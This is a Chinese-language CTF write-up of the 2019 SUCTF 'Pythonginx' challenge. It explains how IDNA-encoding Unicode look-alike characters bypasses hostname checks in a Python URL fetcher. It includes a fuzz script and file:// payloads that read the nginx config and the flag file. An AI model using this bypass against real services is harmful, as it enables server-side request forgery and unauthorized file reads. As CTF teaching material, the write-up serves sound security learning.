2019SUCTF-Pythonginx

Posted by CoCo1er on 2019-09-25
Words 1.1k and Reading Time 4 Minutes
Viewed Times

2019SUCTF-Pythonginx

尝试

​ 拿到题发现页面有一个简单的路由的源码,除此之外尝试了扫路径抓包等操作没有格外信息,那么就仔细来研究一下这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

​ 可以发现在line:19 存在一个urlopen().read()函数。那么题意应该就是绕过前面的限制最后执行读取一个文件内容。传入的url我们可以利用file协议把flag包含进来。这里提到了让我们不用担心suctf.cc,应该是将suctf.cc解析到了容器本机。

如何绕过?

​ 首先我们需要知道这一段代码的处理效果,对urlparse一系列的函数的效果不是很清晰,于是把代码每一个参数都输出看看效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

def getUrl():
url = "file://suctf.c/usr/nginx"
host = parse.urlparse(url).hostname
print('host:'+host)
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
print('parts:'+str(parts))
host = parts[1]
print('host:'+host)
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
print('host.split:'+str(host.split('.')))
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
print('newhost[]:'+str(newhost))
parts[1] = '.'.join(newhost)
print('parts[1]:'+parts[1])
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
print('finalUrl:'+finalUrl)
host = parse.urlparse(finalUrl).hostname
print('host:'+host)
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"



print(getUrl())

s

​ 即我们需要绕过前面2次的对host的判断,同时第三次满足host=’suctf.cc’

分析过程:

首先来看第一个suctf.cc,假设我们通过某种途径让它绕过了此条限制,那么在第二个suctf.cc限制到来之前,经过parts = list(urlsplit(url)),最后又取出parts[1],那么这里很明显只是分割又取出来的一个过程应该不存在漏洞,对urlsplit而言,专门去查一下是否存在漏洞?于是乎发现……

直接把出题思路给搜出来了….好叭,思路是这样,总之没查出关于urlsplit的漏洞。那么我们继续分析

经过第二个suctf.cc后对host进行了分割,比如suctf.ca 那么就把suctf.ca分割成sucef和ca

将这两部分进行一个encode-decode过程:h.encode('idna').decode('utf-8')

最后又拼接起来,替换了原来了host,再进行去除空格操作,最后又将完整的url解析出host字段,此时进行第三次判断。

捋一下思路:

  • 假设我们绕过前两次判断,那么第三次是必须要让host=’suctf.cc’才能去读取flag的

  • 那么就变成了这么一个意思:我们输入的url,在前两次都不等于suctf,第三次的时候变成了suctf.cc。

  • 第三次前做了什么操作?
    • host取出,以.分割
    • 对两部分内容进行h.encode('idna').decode('utf-8')
    • 最后又替换了原来的url中的host部分。

这样一来就很明朗了,我们传入的url的host在经过h.encode('idna').decode('utf-8')函数前不为’suctf’,处理后变成了’suctf’,查一下关于这个漏洞

会发现这是一个来自2019blackhat的议题——传送门

℆经过idna编码再用utf-8解码会变成c/u,同理还有很多可以利用的字符来实现对url一些字符的绕过

Fuzz脚本

随手网上搜索到的一个脚本

1
2
3
4
5
6
7
8
9
10
#coding:utf-8
for i in range(65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

Payload

题目给出了环境提示Nginx,Nginx安装完的默认配置文件路径:/usr/local/nginx/conf/nginx.conf

从中随便挑一个可替换suctf.cc中的字符复制过去如:

?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf 读取配置信息得到flag路径

?url=file://suctf.cℂ/usr/fffffflag